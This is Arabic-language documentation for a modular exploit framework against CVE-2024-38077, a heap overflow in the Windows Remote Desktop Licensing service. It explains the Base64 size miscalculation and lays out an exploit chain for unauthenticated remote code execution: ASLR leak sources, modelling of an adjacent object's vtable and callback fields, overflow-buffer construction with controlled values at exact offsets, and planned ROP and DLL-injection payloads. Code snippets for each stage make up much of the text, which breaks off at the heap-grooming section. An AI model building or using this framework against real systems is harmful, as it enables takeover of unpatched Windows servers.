
إطار عمل استغلال معياري لـ CVE-2024-38077 (تجاوز سعة كومة RDL في Windows) مع تجاوز ASLR، تهيئة الكومة، توليد سلسلة ROP، وحمولات حقن DLL لتنفيذ تعليمات عن بعد دون مصادقة.
يشرح هذا المستند كل مكون من الإطار، لماذا يوجد، وكيف يعمل استغلال تجاوز سعة المخزن المؤقت للكومة في نظام ويندوز الحديث.
يحتوي خدمة ترخيص سطح المكتب البعيد في ويندوز (lserver.exe) على تجاوز سعة المخزن المؤقت للكومة في الدالة CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ الثغرة: حساب خاطئ للحجم │
├─────────────────────────────────────────────────────────────┤
│ 1. يرسل العميل بيانات Base64 بحجم N │
│ 2. يحسب الخادم: buffer_size = (N / 4) * 3 │
│ 3. يخصص الخادم مخزنًا مؤقتًا بحجم 'buffer_size' بايت │
│ 4. فك تشفير Base64 يكتب فعليًا: ceil(N * 3/4) بايت │
│ 5. إذا لم يكن N مضاعفًا للـ4: تجاوز! │
└─────────────────────────────────────────────────────────────┘
مثال ملموس:
(4001 / 4) * 3 = 1000 * 3 = 3000 بايت مخصصةceil(4001 * 0.75) = 3001 بايت مكتوب┌─────────────────────────────────────────────────────────────────┐
│ سلسلة الاستغلال │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - الأساسأدوات منخفضة المستوى للتعامل مع الذاكرة.
يحتاج الاستغلال إلى:
# Pack/Unpack - تحويل الأعداد الصحيحة إلى بايتات والعكس
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# النمط الدوري - لتحديد إزاحة الانهيار
cyclic(100) # يولد تسلسل De Bruijn
cyclic_find(pattern, value) # يجد إزاحة القيمة
# المحاذاة - الذاكرة يجب أن تكون محاذية
align(0x1003, 0x10) # → 0x1010 (محاذاة إلى 16 بايت)
المشكلة الحقيقية: تتسبب في انهيار ويحتوي RIP على 0x61616171.
cyclic_find(pattern, 0x61616171) → الإزاحة بالضبط!leak.py - تجاوز ASLRAddress Space Layout Randomization: مع كل إقلاع/تشغيل، تتغير العناوين.
الإقلاع 1: ntdll.dll @ 0x7FFA12340000
الإقلاع 2: ntdll.dll @ 0x7FFB98760000
الإقلاع 3: ntdll.dll @ 0x7FFC55550000
بدون معرفة مكان الذاكرة:
class LeakInfo:
"""حاوية للعناوين المسربة"""
heap_base: int # قاعدة الكومة
ntdll_base: int # قاعدة ntdll.dll
kernel32_base: int # قاعدة kernel32.dll
# ...
class LeakProvider:
"""منسق مصادر التسريب"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# يحاول كل مصدر حتى ينجح
| المصدر | كيفية عمله | متى يُستخدم |
|---|---|---|
ManualLeakSource | يقدم المستخدم العناوين | مختبر/تصحيح مع الوصول إلى الهدف |
ResponseLeakSource | يستخرج من ردود RPC | إذا كانت الخدمة تسرب المؤشرات |
TimingLeakSource | قناة جانبية زمنية | نظري، صعب جدًا |
في العروض/المختبرات، يمكنك:
--ntdll-base 0x7ffa...هذا يحاكي وجود تسريب حقيقي، مما يسمح باختبار باقي السلسلة.
target_model.py - رسم خريطة الهدفنمذجة هياكل البيانات الضعيفة والمجاورة.
التجاوز ≠ الاستغلال. نحتاج إلى معرفة:
class VulnerableBuffer:
"""المخزن المؤقت الذي سيتعرض للتجاوز"""
allocation_size: int # كم تم تخصيصه
write_size: int # كم سيتم كتابته
overflow_amount: int # الفرق = التجاوز
def calculate_overflow(input_size):
# يحاكي خطأ الحساب
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""الكائن الذي سيتلف (مجاور على الكومة)"""
fields: List[StructField]
has_vtable: bool # هل لديه جدول افتراضي؟
has_function_ptr: bool # هل لديه مؤشر دالة؟
# كائن افتراضي بناءً على التحليل العكسي
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# الحقول المرسومة
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True؟تحدد الحقول المفيدة للاستغلال:
vtable: إذا كتبنا فوقها، نتحكم في استدعاءات الدوالcallback: إذا كتبنا فوقها، نتحكم في وقت استدعاء الاستدعاءwrite_primitive.py - كتابة محكومةالتجاوز يكتب بيانات متسلسلة. لكننا نحتاج إلى:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
يبني مخزن التجاوز بقيم دقيقة
التخطيط:
[حشو حتى الإزاحة] [قيمة محكومة] [مزيد من البيانات]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# يضع القيمة بالضبط عند الإزاحة بالضبط
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# الكتابة فوق vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# الكتابة فوق الاستدعاء
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| الكتابة | النتيجة |
|---|---|
| AAAA... | انهيار بدون تحكم |
| عنوان دقيق عند إزاحة دقيقة | تنفيذ محكوم |
heap_controller.py - تهيئة الكومة